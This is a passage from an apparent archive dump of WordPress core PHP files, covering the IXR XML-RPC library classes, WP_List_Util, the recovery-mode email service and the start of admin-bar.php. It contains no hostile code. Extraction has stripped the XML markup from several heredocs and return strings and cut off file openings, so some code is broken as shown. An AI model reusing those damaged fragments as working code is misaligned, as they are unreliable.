error. wrong number of method parameters'); } // Check the argument types $ok = true; $argsbackup = $args; for ($i = 0, $j = count($args); $i < $j; $i++) { $arg = array_shift($args); $type = array_shift($signature); switch ($type) { case 'int': case 'i4': if (is_array($arg) || !is_int($arg)) { $ok = false; } break; case 'base64': case 'string': if (!is_string($arg)) { $ok = false; } break; case 'boolean': if ($arg !== false && $arg !== true) { $ok = false; } break; case 'float': case 'double': if (!is_float($arg)) { $ok = false; } break; case 'date': case 'dateTime.iso8601': if (!is_a($arg, 'IXR_Date')) { $ok = false; } break; } if (!$ok) { return new IXR_Error(-32602, 'server error. invalid method parameters'); } } // It passed the test - run the "real" method call return parent::call($methodname, $argsbackup); } function methodSignature($method) { if (!$this->hasMethod($method)) { return new IXR_Error(-32601, 'server error. requested method "'.$method.'" not specified.'); } // We should be returning an array of types $types = $this->signatures[$method]; $return = array(); foreach ($types as $type) { switch ($type) { case 'string': $return[] = 'string'; break; case 'int': case 'i4': $return[] = 42; break; case 'double': $return[] = 3.1415; break; case 'dateTime.iso8601': $return[] = new IXR_Date(time()); break; case 'boolean': $return[] = true; break; case 'base64': $return[] = new IXR_Base64('base64'); break; case 'array': $return[] = array('array'); break; case 'struct': $return[] = array('struct' => 'struct'); break; } } return $return; } function methodHelp($method) { return $this->help[$method]; } } IXR/class-IXR-date.php000064400000003233147177035010010405 0ustar00parseTimestamp($time); } else { $this->parseIso($time); } } /** * PHP4 constructor. */ public function IXR_Date( $time ) { self::__construct( $time ); } function parseTimestamp($timestamp) { $this->year = gmdate('Y', $timestamp); $this->month = gmdate('m', $timestamp); $this->day = gmdate('d', $timestamp); $this->hour = gmdate('H', $timestamp); $this->minute = gmdate('i', $timestamp); $this->second = gmdate('s', $timestamp); $this->timezone = ''; } function parseIso($iso) { $this->year = substr($iso, 0, 4); $this->month = substr($iso, 4, 2); $this->day = substr($iso, 6, 2); $this->hour = substr($iso, 9, 2); $this->minute = substr($iso, 12, 2); $this->second = substr($iso, 15, 2); $this->timezone = substr($iso, 17); } function getIso() { return $this->year.$this->month.$this->day.'T'.$this->hour.':'.$this->minute.':'.$this->second.$this->timezone; } function getXml() { return ''.$this->getIso().''; } function getTimestamp() { return mktime($this->hour, $this->minute, $this->second, $this->month, $this->day, $this->year); } } IXR/class-IXR-server.php000064400000015016147177035010011000 0ustar00setCapabilities(); if ($callbacks) { $this->callbacks = $callbacks; } $this->setCallbacks(); if (!$wait) { $this->serve($data); } } /** * PHP4 constructor. */ public function IXR_Server( $callbacks = false, $data = false, $wait = false ) { self::__construct( $callbacks, $data, $wait ); } function serve($data = false) { if (!$data) { if (isset($_SERVER['REQUEST_METHOD']) && $_SERVER['REQUEST_METHOD'] !== 'POST') { if ( function_exists( 'status_header' ) ) { status_header( 405 ); // WP #20986 header( 'Allow: POST' ); } header('Content-Type: text/plain'); // merged from WP #9093 die('XML-RPC server accepts POST requests only.'); } $data = file_get_contents('php://input'); } $this->message = new IXR_Message($data); if (!$this->message->parse()) { $this->error(-32700, 'parse error. not well formed'); } if ($this->message->messageType != 'methodCall') { $this->error(-32600, 'server error. invalid xml-rpc. not conforming to spec. Request must be a methodCall'); } $result = $this->call($this->message->methodName, $this->message->params); // Is the result an error? if (is_a($result, 'IXR_Error')) { $this->error($result); } // Encode the result $r = new IXR_Value($result); $resultxml = $r->getXml(); // Create the XML $xml = << $resultxml EOD; // Send it $this->output($xml); } function call($methodname, $args) { if (!$this->hasMethod($methodname)) { return new IXR_Error(-32601, 'server error. requested method '.$methodname.' does not exist.'); } $method = $this->callbacks[$methodname]; // Perform the callback and send the response if (count($args) == 1) { // If only one parameter just send that instead of the whole array $args = $args[0]; } // Are we dealing with a function or a method? if (is_string($method) && substr($method, 0, 5) == 'this:') { // It's a class method - check it exists $method = substr($method, 5); if (!method_exists($this, $method)) { return new IXR_Error(-32601, 'server error. requested class method "'.$method.'" does not exist.'); } //Call the method $result = $this->$method($args); } else { // It's a function - does it exist? if (is_array($method)) { if (!is_callable(array($method[0], $method[1]))) { return new IXR_Error(-32601, 'server error. requested object method "'.$method[1].'" does not exist.'); } } else if (!function_exists($method)) { return new IXR_Error(-32601, 'server error. requested function "'.$method.'" does not exist.'); } // Call the function $result = call_user_func($method, $args); } return $result; } function error($error, $message = false) { // Accepts either an error object or an error code and message if ($message && !is_object($error)) { $error = new IXR_Error($error, $message); } $this->output($error->getXml()); } function output($xml) { $charset = function_exists('get_option') ? get_option('blog_charset') : ''; if ($charset) $xml = ''."\n".$xml; else $xml = ''."\n".$xml; $length = strlen($xml); header('Connection: close'); if ($charset) header('Content-Type: text/xml; charset='.$charset); else header('Content-Type: text/xml'); header('Date: '.gmdate('r')); echo $xml; exit; } function hasMethod($method) { return in_array($method, array_keys($this->callbacks)); } function setCapabilities() { // Initialises capabilities array $this->capabilities = array( 'xmlrpc' => array( 'specUrl' => 'http://www.xmlrpc.com/spec', 'specVersion' => 1 ), 'faults_interop' => array( 'specUrl' => 'http://xmlrpc-epi.sourceforge.net/specs/rfc.fault_codes.php', 'specVersion' => 20010516 ), 'system.multicall' => array( 'specUrl' => 'http://www.xmlrpc.com/discuss/msgReader$1208', 'specVersion' => 1 ), ); } function getCapabilities($args) { return $this->capabilities; } function setCallbacks() { $this->callbacks['system.getCapabilities'] = 'this:getCapabilities'; $this->callbacks['system.listMethods'] = 'this:listMethods'; $this->callbacks['system.multicall'] = 'this:multiCall'; } function listMethods($args) { // Returns a list of methods - uses array_reverse to ensure user defined // methods are listed before server defined methods return array_reverse(array_keys($this->callbacks)); } function multiCall($methodcalls) { // See http://www.xmlrpc.com/discuss/msgReader$1208 $return = array(); foreach ($methodcalls as $call) { $method = $call['methodName']; $params = $call['params']; if ($method == 'system.multicall') { $result = new IXR_Error(-32600, 'Recursive calls to system.multicall are forbidden'); } else { $result = $this->call($method, $params); } if (is_a($result, 'IXR_Error')) { $return[] = array( 'faultCode' => $result->code, 'faultString' => $result->message ); } else { $return[] = array($result); } } return $return; } } IXR/class-IXR-clientmulticall.php000064400000002357147177035010012663 0ustar00useragent = 'The Incutio XML-RPC PHP Library (multicall client)'; } /** * PHP4 constructor. */ public function IXR_ClientMulticall( $server, $path = false, $port = 80 ) { self::__construct( $server, $path, $port ); } /** * @since 1.5.0 * @since 5.5.0 Formalized the existing `...$args` parameter by adding it * to the function signature. */ function addCall( ...$args ) { $methodName = array_shift($args); $struct = array( 'methodName' => $methodName, 'params' => $args ); $this->calls[] = $struct; } /** * @since 1.5.0 * @since 5.5.0 Formalized the existing `...$args` parameter by adding it * to the function signature. * * @return bool */ function query( ...$args ) { // Prepare multicall, then call the parent::query() method return parent::query('system.multicall', $this->calls); } } IXR/class-IXR-base64.php000064400000000636147177035010010560 0ustar00data = $data; } /** * PHP4 constructor. */ public function IXR_Base64( $data ) { self::__construct( $data ); } function getXml() { return ''.base64_encode($this->data).''; } } IXR/class-IXR-request.php000064400000001637147177035010011166 0ustar00method = $method; $this->args = $args; $this->xml = << {$this->method} EOD; foreach ($this->args as $arg) { $this->xml .= ''; $v = new IXR_Value($arg); $this->xml .= $v->getXml(); $this->xml .= "\n"; } $this->xml .= ''; } /** * PHP4 constructor. */ public function IXR_Request( $method, $args ) { self::__construct( $method, $args ); } function getLength() { return strlen($this->xml); } function getXml() { return $this->xml; } } IXR/class-IXR-value.php000064400000007316147177035010010612 0ustar00data = $data; if (!$type) { $type = $this->calculateType(); } $this->type = $type; if ($type == 'struct') { // Turn all the values in the array in to new IXR_Value objects foreach ($this->data as $key => $value) { $this->data[$key] = new IXR_Value($value); } } if ($type == 'array') { for ($i = 0, $j = count($this->data); $i < $j; $i++) { $this->data[$i] = new IXR_Value($this->data[$i]); } } } /** * PHP4 constructor. */ public function IXR_Value( $data, $type = false ) { self::__construct( $data, $type ); } function calculateType() { if ($this->data === true || $this->data === false) { return 'boolean'; } if (is_integer($this->data)) { return 'int'; } if (is_double($this->data)) { return 'double'; } // Deal with IXR object types base64 and date if (is_object($this->data) && is_a($this->data, 'IXR_Date')) { return 'date'; } if (is_object($this->data) && is_a($this->data, 'IXR_Base64')) { return 'base64'; } // If it is a normal PHP object convert it in to a struct if (is_object($this->data)) { $this->data = get_object_vars($this->data); return 'struct'; } if (!is_array($this->data)) { return 'string'; } // We have an array - is it an array or a struct? if ($this->isStruct($this->data)) { return 'struct'; } else { return 'array'; } } function getXml() { // Return XML for this value switch ($this->type) { case 'boolean': return ''.(($this->data) ? '1' : '0').''; break; case 'int': return ''.$this->data.''; break; case 'double': return ''.$this->data.''; break; case 'string': return ''.htmlspecialchars($this->data).''; break; case 'array': $return = ''."\n"; foreach ($this->data as $item) { $return .= ' '.$item->getXml()."\n"; } $return .= ''; return $return; break; case 'struct': $return = ''."\n"; foreach ($this->data as $name => $value) { $name = htmlspecialchars($name); $return .= " $name"; $return .= $value->getXml()."\n"; } $return .= ''; return $return; break; case 'date': case 'base64': return $this->data->getXml(); break; } return false; } /** * Checks whether or not the supplied array is a struct or not * * @param array $array * @return bool */ function isStruct($array) { $expected = 0; foreach ($array as $key => $value) { if ((string)$key !== (string)$expected) { return true; } $expected++; } return false; } } IXR/class-IXR-client.php000064400000011263147177035010010750 0ustar00server = $bits['host']; $this->port = isset($bits['port']) ? $bits['port'] : 80; $this->path = isset($bits['path']) ? $bits['path'] : '/'; // Make absolutely sure we have a path if (!$this->path) { $this->path = '/'; } if ( ! empty( $bits['query'] ) ) { $this->path .= '?' . $bits['query']; } } else { $this->server = $server; $this->path = $path; $this->port = $port; } $this->useragent = 'The Incutio XML-RPC PHP Library'; $this->timeout = $timeout; } /** * PHP4 constructor. */ public function IXR_Client( $server, $path = false, $port = 80, $timeout = 15 ) { self::__construct( $server, $path, $port, $timeout ); } /** * @since 1.5.0 * @since 5.5.0 Formalized the existing `...$args` parameter by adding it * to the function signature. * * @return bool */ function query( ...$args ) { $method = array_shift($args); $request = new IXR_Request($method, $args); $length = $request->getLength(); $xml = $request->getXml(); $r = "\r\n"; $request = "POST {$this->path} HTTP/1.0$r"; // Merged from WP #8145 - allow custom headers $this->headers['Host'] = $this->server; $this->headers['Content-Type'] = 'text/xml'; $this->headers['User-Agent'] = $this->useragent; $this->headers['Content-Length']= $length; foreach( $this->headers as $header => $value ) { $request .= "{$header}: {$value}{$r}"; } $request .= $r; $request .= $xml; // Now send the request if ($this->debug) { echo '
'.htmlspecialchars($request)."\n
\n\n"; } if ($this->timeout) { $fp = @fsockopen($this->server, $this->port, $errno, $errstr, $this->timeout); } else { $fp = @fsockopen($this->server, $this->port, $errno, $errstr); } if (!$fp) { $this->error = new IXR_Error(-32300, 'transport error - could not open socket'); return false; } fputs($fp, $request); $contents = ''; $debugContents = ''; $gotFirstLine = false; $gettingHeaders = true; while (!feof($fp)) { $line = fgets($fp, 4096); if (!$gotFirstLine) { // Check line for '200' if (strstr($line, '200') === false) { $this->error = new IXR_Error(-32300, 'transport error - HTTP status code was not 200'); return false; } $gotFirstLine = true; } if (trim($line) == '') { $gettingHeaders = false; } if (!$gettingHeaders) { // merged from WP #12559 - remove trim $contents .= $line; } if ($this->debug) { $debugContents .= $line; } } if ($this->debug) { echo '
'.htmlspecialchars($debugContents)."\n
\n\n"; } // Now parse what we've got back $this->message = new IXR_Message($contents); if (!$this->message->parse()) { // XML error $this->error = new IXR_Error(-32700, 'parse error. not well formed'); return false; } // Is the message a fault? if ($this->message->messageType == 'fault') { $this->error = new IXR_Error($this->message->faultCode, $this->message->faultString); return false; } // Message must be OK return true; } function getResponse() { // methodResponses can only have one param - return that return $this->message->params[0]; } function isError() { return (is_object($this->error)); } function getErrorCode() { return $this->error->code; } function getErrorMessage() { return $this->error->message; } } IXR/class-IXR-error.php000064400000001526147177035010010624 0ustar00code = $code; $this->message = htmlspecialchars($message); } /** * PHP4 constructor. */ public function IXR_Error( $code, $message ) { self::__construct( $code, $message ); } function getXml() { $xml = << faultCode {$this->code} faultString {$this->message} EOD; return $xml; } } IXR/class-IXR-message.php000064400000020003147177035010011106 0ustar00message =& $message; } /** * PHP4 constructor. */ public function IXR_Message( $message ) { self::__construct( $message ); } function parse() { if ( ! function_exists( 'xml_parser_create' ) ) { trigger_error( __( "PHP's XML extension is not available. Please contact your hosting provider to enable PHP's XML extension." ) ); return false; } // first remove the XML declaration // merged from WP #10698 - this method avoids the RAM usage of preg_replace on very large messages $header = preg_replace( '/<\?xml.*?\?'.'>/s', '', substr( $this->message, 0, 100 ), 1 ); $this->message = trim( substr_replace( $this->message, $header, 0, 100 ) ); if ( '' == $this->message ) { return false; } // Then remove the DOCTYPE $header = preg_replace( '/^]*+>/i', '', substr( $this->message, 0, 200 ), 1 ); $this->message = trim( substr_replace( $this->message, $header, 0, 200 ) ); if ( '' == $this->message ) { return false; } // Check that the root tag is valid $root_tag = substr( $this->message, 0, strcspn( substr( $this->message, 0, 20 ), "> \t\r\n" ) ); if ( 'message, '<' ) ) { return false; } $this->_parser = xml_parser_create(); // Set XML parser to take the case of tags in to account xml_parser_set_option($this->_parser, XML_OPTION_CASE_FOLDING, false); // Set XML parser callback functions xml_set_object($this->_parser, $this); xml_set_element_handler($this->_parser, 'tag_open', 'tag_close'); xml_set_character_data_handler($this->_parser, 'cdata'); // 256Kb, parse in chunks to avoid the RAM usage on very large messages $chunk_size = 262144; /** * Filters the chunk size that can be used to parse an XML-RPC response message. * * @since 4.4.0 * * @param int $chunk_size Chunk size to parse in bytes. */ $chunk_size = apply_filters( 'xmlrpc_chunk_parsing_size', $chunk_size ); $final = false; do { if (strlen($this->message) <= $chunk_size) { $final = true; } $part = substr($this->message, 0, $chunk_size); $this->message = substr($this->message, $chunk_size); if (!xml_parse($this->_parser, $part, $final)) { xml_parser_free($this->_parser); unset($this->_parser); return false; } if ($final) { break; } } while (true); xml_parser_free($this->_parser); unset($this->_parser); // Grab the error messages, if any if ($this->messageType == 'fault') { $this->faultCode = $this->params[0]['faultCode']; $this->faultString = $this->params[0]['faultString']; } return true; } function tag_open($parser, $tag, $attr) { $this->_currentTagContents = ''; $this->currentTag = $tag; switch($tag) { case 'methodCall': case 'methodResponse': case 'fault': $this->messageType = $tag; break; /* Deal with stacks of arrays and structs */ case 'data': // data is to all intents and puposes more interesting than array $this->_arraystructstypes[] = 'array'; $this->_arraystructs[] = array(); break; case 'struct': $this->_arraystructstypes[] = 'struct'; $this->_arraystructs[] = array(); break; } } function cdata($parser, $cdata) { $this->_currentTagContents .= $cdata; } function tag_close($parser, $tag) { $valueFlag = false; switch($tag) { case 'int': case 'i4': $value = (int)trim($this->_currentTagContents); $valueFlag = true; break; case 'double': $value = (double)trim($this->_currentTagContents); $valueFlag = true; break; case 'string': $value = (string)trim($this->_currentTagContents); $valueFlag = true; break; case 'dateTime.iso8601': $value = new IXR_Date(trim($this->_currentTagContents)); $valueFlag = true; break; case 'value': // "If no type is indicated, the type is string." if (trim($this->_currentTagContents) != '') { $value = (string)$this->_currentTagContents; $valueFlag = true; } break; case 'boolean': $value = (boolean)trim($this->_currentTagContents); $valueFlag = true; break; case 'base64': $value = base64_decode($this->_currentTagContents); $valueFlag = true; break; /* Deal with stacks of arrays and structs */ case 'data': case 'struct': $value = array_pop($this->_arraystructs); array_pop($this->_arraystructstypes); $valueFlag = true; break; case 'member': array_pop($this->_currentStructName); break; case 'name': $this->_currentStructName[] = trim($this->_currentTagContents); break; case 'methodName': $this->methodName = trim($this->_currentTagContents); break; } if ($valueFlag) { if (count($this->_arraystructs) > 0) { // Add value to struct or array if ($this->_arraystructstypes[count($this->_arraystructstypes)-1] == 'struct') { // Add to struct $this->_arraystructs[count($this->_arraystructs)-1][$this->_currentStructName[count($this->_currentStructName)-1]] = $value; } else { // Add to array $this->_arraystructs[count($this->_arraystructs)-1][] = $value; } } else { // Just add as a parameter $this->params[] = $value; } } $this->_currentTagContents = ''; } } class-wp-list-util.php000064400000015520147177035010010742 0ustar00output = $input; $this->input = $input; } /** * Returns the original input array. * * @since 4.7.0 * * @return array The input array. */ public function get_input() { return $this->input; } /** * Returns the output array. * * @since 4.7.0 * * @return array The output array. */ public function get_output() { return $this->output; } /** * Filters the list, based on a set of key => value arguments. * * Retrieves the objects from the list that match the given arguments. * Key represents property name, and value represents property value. * * If an object has more properties than those specified in arguments, * that will not disqualify it. When using the 'AND' operator, * any missing properties will disqualify it. * * @since 4.7.0 * * @param array $args Optional. An array of key => value arguments to match * against each object. Default empty array. * @param string $operator Optional. The logical operation to perform. 'AND' means * all elements from the array must match. 'OR' means only * one element needs to match. 'NOT' means no elements may * match. Default 'AND'. * @return array Array of found values. */ public function filter( $args = array(), $operator = 'AND' ) { if ( empty( $args ) ) { return $this->output; } $operator = strtoupper( $operator ); if ( ! in_array( $operator, array( 'AND', 'OR', 'NOT' ), true ) ) { $this->output = array(); return $this->output; } $count = count( $args ); $filtered = array(); foreach ( $this->output as $key => $obj ) { $matched = 0; foreach ( $args as $m_key => $m_value ) { if ( is_array( $obj ) ) { // Treat object as an array. if ( array_key_exists( $m_key, $obj ) && ( $m_value == $obj[ $m_key ] ) ) { $matched++; } } elseif ( is_object( $obj ) ) { // Treat object as an object. if ( isset( $obj->{$m_key} ) && ( $m_value == $obj->{$m_key} ) ) { $matched++; } } } if ( ( 'AND' === $operator && $matched === $count ) || ( 'OR' === $operator && $matched > 0 ) || ( 'NOT' === $operator && 0 === $matched ) ) { $filtered[ $key ] = $obj; } } $this->output = $filtered; return $this->output; } /** * Plucks a certain field out of each element in the input array. * * This has the same functionality and prototype of * array_column() (PHP 5.5) but also supports objects. * * @since 4.7.0 * * @param int|string $field Field to fetch from the object or array. * @param int|string $index_key Optional. Field from the element to use as keys for the new array. * Default null. * @return array Array of found values. If `$index_key` is set, an array of found values with keys * corresponding to `$index_key`. If `$index_key` is null, array keys from the original * `$list` will be preserved in the results. */ public function pluck( $field, $index_key = null ) { $newlist = array(); if ( ! $index_key ) { /* * This is simple. Could at some point wrap array_column() * if we knew we had an array of arrays. */ foreach ( $this->output as $key => $value ) { if ( is_object( $value ) ) { $newlist[ $key ] = $value->$field; } else { $newlist[ $key ] = $value[ $field ]; } } $this->output = $newlist; return $this->output; } /* * When index_key is not set for a particular item, push the value * to the end of the stack. This is how array_column() behaves. */ foreach ( $this->output as $value ) { if ( is_object( $value ) ) { if ( isset( $value->$index_key ) ) { $newlist[ $value->$index_key ] = $value->$field; } else { $newlist[] = $value->$field; } } else { if ( isset( $value[ $index_key ] ) ) { $newlist[ $value[ $index_key ] ] = $value[ $field ]; } else { $newlist[] = $value[ $field ]; } } } $this->output = $newlist; return $this->output; } /** * Sorts the input array based on one or more orderby arguments. * * @since 4.7.0 * * @param string|array $orderby Optional. Either the field name to order by or an array * of multiple orderby fields as $orderby => $order. * @param string $order Optional. Either 'ASC' or 'DESC'. Only used if $orderby * is a string. * @param bool $preserve_keys Optional. Whether to preserve keys. Default false. * @return array The sorted array. */ public function sort( $orderby = array(), $order = 'ASC', $preserve_keys = false ) { if ( empty( $orderby ) ) { return $this->output; } if ( is_string( $orderby ) ) { $orderby = array( $orderby => $order ); } foreach ( $orderby as $field => $direction ) { $orderby[ $field ] = 'DESC' === strtoupper( $direction ) ? 'DESC' : 'ASC'; } $this->orderby = $orderby; if ( $preserve_keys ) { uasort( $this->output, array( $this, 'sort_callback' ) ); } else { usort( $this->output, array( $this, 'sort_callback' ) ); } $this->orderby = array(); return $this->output; } /** * Callback to sort an array by specific fields. * * @since 4.7.0 * * @see WP_List_Util::sort() * * @param object|array $a One object to compare. * @param object|array $b The other object to compare. * @return int 0 if both objects equal. -1 if second object should come first, 1 otherwise. */ private function sort_callback( $a, $b ) { if ( empty( $this->orderby ) ) { return 0; } $a = (array) $a; $b = (array) $b; foreach ( $this->orderby as $field => $direction ) { if ( ! isset( $a[ $field ] ) || ! isset( $b[ $field ] ) ) { continue; } if ( $a[ $field ] == $b[ $field ] ) { continue; } $results = 'DESC' === $direction ? array( 1, -1 ) : array( -1, 1 ); if ( is_numeric( $a[ $field ] ) && is_numeric( $b[ $field ] ) ) { return ( $a[ $field ] < $b[ $field ] ) ? $results[0] : $results[1]; } return 0 > strcmp( $a[ $field ], $b[ $field ] ) ? $results[0] : $results[1]; } return 0; } } class-wp-recovery-mode-email-service.php000064400000026156147177035010014326 0ustar00link_service = $link_service; } /** * Sends the recovery mode email if the rate limit has not been sent. * * @since 5.2.0 * * @param int $rate_limit Number of seconds before another email can be sent. * @param array $error Error details from `error_get_last()`. * @param array $extension { * The extension that caused the error. * * @type string $slug The extension slug. The plugin or theme's directory. * @type string $type The extension type. Either 'plugin' or 'theme'. * } * @return true|WP_Error True if email sent, WP_Error otherwise. */ public function maybe_send_recovery_mode_email( $rate_limit, $error, $extension ) { $last_sent = get_option( self::RATE_LIMIT_OPTION ); if ( ! $last_sent || time() > $last_sent + $rate_limit ) { if ( ! update_option( self::RATE_LIMIT_OPTION, time() ) ) { return new WP_Error( 'storage_error', __( 'Could not update the email last sent time.' ) ); } $sent = $this->send_recovery_mode_email( $rate_limit, $error, $extension ); if ( $sent ) { return true; } return new WP_Error( 'email_failed', sprintf( /* translators: %s: mail() */ __( 'The email could not be sent. Possible reason: your host may have disabled the %s function.' ), 'mail()' ) ); } $err_message = sprintf( /* translators: 1: Last sent as a human time diff, 2: Wait time as a human time diff. */ __( 'A recovery link was already sent %1$s ago. Please wait another %2$s before requesting a new email.' ), human_time_diff( $last_sent ), human_time_diff( $last_sent + $rate_limit ) ); return new WP_Error( 'email_sent_already', $err_message ); } /** * Clears the rate limit, allowing a new recovery mode email to be sent immediately. * * @since 5.2.0 * * @return bool True on success, false on failure. */ public function clear_rate_limit() { return delete_option( self::RATE_LIMIT_OPTION ); } /** * Sends the Recovery Mode email to the site admin email address. * * @since 5.2.0 * * @param int $rate_limit Number of seconds before another email can be sent. * @param array $error Error details from `error_get_last()`. * @param array $extension { * The extension that caused the error. * * @type string $slug The extension slug. The directory of the plugin or theme. * @type string $type The extension type. Either 'plugin' or 'theme'. * } * @return bool Whether the email was sent successfully. */ private function send_recovery_mode_email( $rate_limit, $error, $extension ) { $url = $this->link_service->generate_url(); $blogname = wp_specialchars_decode( get_option( 'blogname' ), ENT_QUOTES ); $switched_locale = false; // The switch_to_locale() function is loaded before it can actually be used. if ( function_exists( 'switch_to_locale' ) && isset( $GLOBALS['wp_locale_switcher'] ) ) { $switched_locale = switch_to_locale( get_locale() ); } if ( $extension ) { $cause = $this->get_cause( $extension ); $details = wp_strip_all_tags( wp_get_extension_error_description( $error ) ); if ( $details ) { $header = __( 'Error Details' ); $details = "\n\n" . $header . "\n" . str_pad( '', strlen( $header ), '=' ) . "\n" . $details; } } else { $cause = ''; $details = ''; } /** * Filters the support message sent with the the fatal error protection email. * * @since 5.2.0 * * @param string $message The Message to include in the email. */ $support = apply_filters( 'recovery_email_support_info', __( 'Please contact your host for assistance with investigating this issue further.' ) ); /** * Filters the debug information included in the fatal error protection email. * * @since 5.3.0 * * @param array $message An associative array of debug information. */ $debug = apply_filters( 'recovery_email_debug_info', $this->get_debug( $extension ) ); /* translators: Do not translate LINK, EXPIRES, CAUSE, DETAILS, SITEURL, PAGEURL, SUPPORT. DEBUG: those are placeholders. */ $message = __( 'Howdy! Since WordPress 5.2 there is a built-in feature that detects when a plugin or theme causes a fatal error on your site, and notifies you with this automated email. ###CAUSE### First, visit your website (###SITEURL###) and check for any visible issues. Next, visit the page where the error was caught (###PAGEURL###) and check for any visible issues. ###SUPPORT### If your site appears broken and you can\'t access your dashboard normally, WordPress now has a special "recovery mode". This lets you safely login to your dashboard and investigate further. ###LINK### To keep your site safe, this link will expire in ###EXPIRES###. Don\'t worry about that, though: a new link will be emailed to you if the error occurs again after it expires. When seeking help with this issue, you may be asked for some of the following information: ###DEBUG### ###DETAILS###' ); $message = str_replace( array( '###LINK###', '###EXPIRES###', '###CAUSE###', '###DETAILS###', '###SITEURL###', '###PAGEURL###', '###SUPPORT###', '###DEBUG###', ), array( $url, human_time_diff( time() + $rate_limit ), $cause ? "\n{$cause}\n" : "\n", $details, home_url( '/' ), home_url( $_SERVER['REQUEST_URI'] ), $support, implode( "\r\n", $debug ), ), $message ); $email = array( 'to' => $this->get_recovery_mode_email_address(), /* translators: %s: Site title. */ 'subject' => __( '[%s] Your Site is Experiencing a Technical Issue' ), 'message' => $message, 'headers' => '', 'attachments' => '', ); /** * Filters the contents of the Recovery Mode email. * * @since 5.2.0 * @since 5.6.0 The `$email` argument includes the `attachments` key. * * @param array $email { * Used to build a call to wp_mail(). * * @type string|array $to Array or comma-separated list of email addresses to send message. * @type string $subject Email subject * @type string $message Message contents * @type string|array $headers Optional. Additional headers. * @type string|array $attachments Optional. Files to attach. * } * @param string $url URL to enter recovery mode. */ $email = apply_filters( 'recovery_mode_email', $email, $url ); $sent = wp_mail( $email['to'], wp_specialchars_decode( sprintf( $email['subject'], $blogname ) ), $email['message'], $email['headers'], $email['attachments'] ); if ( $switched_locale ) { restore_previous_locale(); } return $sent; } /** * Gets the email address to send the recovery mode link to. * * @since 5.2.0 * * @return string Email address to send recovery mode link to. */ private function get_recovery_mode_email_address() { if ( defined( 'RECOVERY_MODE_EMAIL' ) && is_email( RECOVERY_MODE_EMAIL ) ) { return RECOVERY_MODE_EMAIL; } return get_option( 'admin_email' ); } /** * Gets the description indicating the possible cause for the error. * * @since 5.2.0 * * @param array $extension { * The extension that caused the error. * * @type string $slug The extension slug. The directory of the plugin or theme. * @type string $type The extension type. Either 'plugin' or 'theme'. * } * @return string Message about which extension caused the error. */ private function get_cause( $extension ) { if ( 'plugin' === $extension['type'] ) { $plugin = $this->get_plugin( $extension ); if ( false === $plugin ) { $name = $extension['slug']; } else { $name = $plugin['Name']; } /* translators: %s: Plugin name. */ $cause = sprintf( __( 'In this case, WordPress caught an error with one of your plugins, %s.' ), $name ); } else { $theme = wp_get_theme( $extension['slug'] ); $name = $theme->exists() ? $theme->display( 'Name' ) : $extension['slug']; /* translators: %s: Theme name. */ $cause = sprintf( __( 'In this case, WordPress caught an error with your theme, %s.' ), $name ); } return $cause; } /** * Return the details for a single plugin based on the extension data from an error. * * @since 5.3.0 * * @param array $extension { * The extension that caused the error. * * @type string $slug The extension slug. The directory of the plugin or theme. * @type string $type The extension type. Either 'plugin' or 'theme'. * } * @return array|false A plugin array {@see get_plugins()} or `false` if no plugin was found. */ private function get_plugin( $extension ) { if ( ! function_exists( 'get_plugins' ) ) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; } $plugins = get_plugins(); // Assume plugin main file name first since it is a common convention. if ( isset( $plugins[ "{$extension['slug']}/{$extension['slug']}.php" ] ) ) { return $plugins[ "{$extension['slug']}/{$extension['slug']}.php" ]; } else { foreach ( $plugins as $file => $plugin_data ) { if ( 0 === strpos( $file, "{$extension['slug']}/" ) || $file === $extension['slug'] ) { return $plugin_data; } } } return false; } /** * Return debug information in an easy to manipulate format. * * @since 5.3.0 * * @param array $extension { * The extension that caused the error. * * @type string $slug The extension slug. The directory of the plugin or theme. * @type string $type The extension type. Either 'plugin' or 'theme'. * } * @return array An associative array of debug information. */ private function get_debug( $extension ) { $theme = wp_get_theme(); $wp_version = get_bloginfo( 'version' ); if ( $extension ) { $plugin = $this->get_plugin( $extension ); } else { $plugin = null; } $debug = array( 'wp' => sprintf( /* translators: %s: Current WordPress version number. */ __( 'WordPress version %s' ), $wp_version ), 'theme' => sprintf( /* translators: 1: Current active theme name. 2: Current active theme version. */ __( 'Active theme: %1$s (version %2$s)' ), $theme->get( 'Name' ), $theme->get( 'Version' ) ), ); if ( null !== $plugin ) { $debug['plugin'] = sprintf( /* translators: 1: The failing plugins name. 2: The failing plugins version. */ __( 'Current plugin: %1$s (version %2$s)' ), $plugin['Name'], $plugin['Version'] ); } $debug['php'] = sprintf( /* translators: %s: The currently used PHP version. */ __( 'PHP version %s' ), PHP_VERSION ); return $debug; } } admin-bar.php000064400000102435147177035010007121 0ustar00initialize(); $wp_admin_bar->add_menus(); return true; } /** * Renders the admin bar to the page based on the $wp_admin_bar->menu member var. * * This is called very early on the {@see 'wp_body_open'} action so that it will render * before anything else being added to the page body. * * For backward compatibility with themes not using the 'wp_body_open' action, * the function is also called late on {@see 'wp_footer'}. * * It includes the {@see 'admin_bar_menu'} action which should be used to hook in and * add new menus to the admin bar. That way you can be sure that you are adding at most * optimal point, right before the admin bar is rendered. This also gives you access to * the `$post` global, among others. * * @since 3.1.0 * @since 5.4.0 Called on 'wp_body_open' action first, with 'wp_footer' as a fallback. * * @global WP_Admin_Bar $wp_admin_bar */ function wp_admin_bar_render() { global $wp_admin_bar; static $rendered = false; if ( $rendered ) { return; } if ( ! is_admin_bar_showing() || ! is_object( $wp_admin_bar ) ) { return; } /** * Loads all necessary admin bar items. * * This is the hook used to add, remove, or manipulate admin bar items. * * @since 3.1.0 * * @param WP_Admin_Bar $wp_admin_bar The WP_Admin_Bar instance, passed by reference. */ do_action_ref_array( 'admin_bar_menu', array( &$wp_admin_bar ) ); /** * Fires before the admin bar is rendered. * * @since 3.1.0 */ do_action( 'wp_before_admin_bar_render' ); $wp_admin_bar->render(); /** * Fires after the admin bar is rendered. * * @since 3.1.0 */ do_action( 'wp_after_admin_bar_render' ); $rendered = true; } /** * Adds the WordPress logo menu. * * @since 3.3.0 * * @param WP_Admin_Bar $wp_admin_bar The WP_Admin_Bar instance. */ function wp_admin_bar_wp_menu( $wp_admin_bar ) { if ( current_user_can( 'read' ) ) { $about_url = self_admin_url( 'about.php' ); } elseif ( is_multisite() ) { $about_url = get_dashboard_url( get_current_user_id(), 'about.php' ); } else { $about_url = false; } $wp_logo_menu_args = array( 'id' => 'wp-logo', 'title' => '' . __( 'About WordPress' ) . '', 'href' => $about_url, ); // Set tabindex="0" to make sub menus accessible when no URL is available. if ( ! 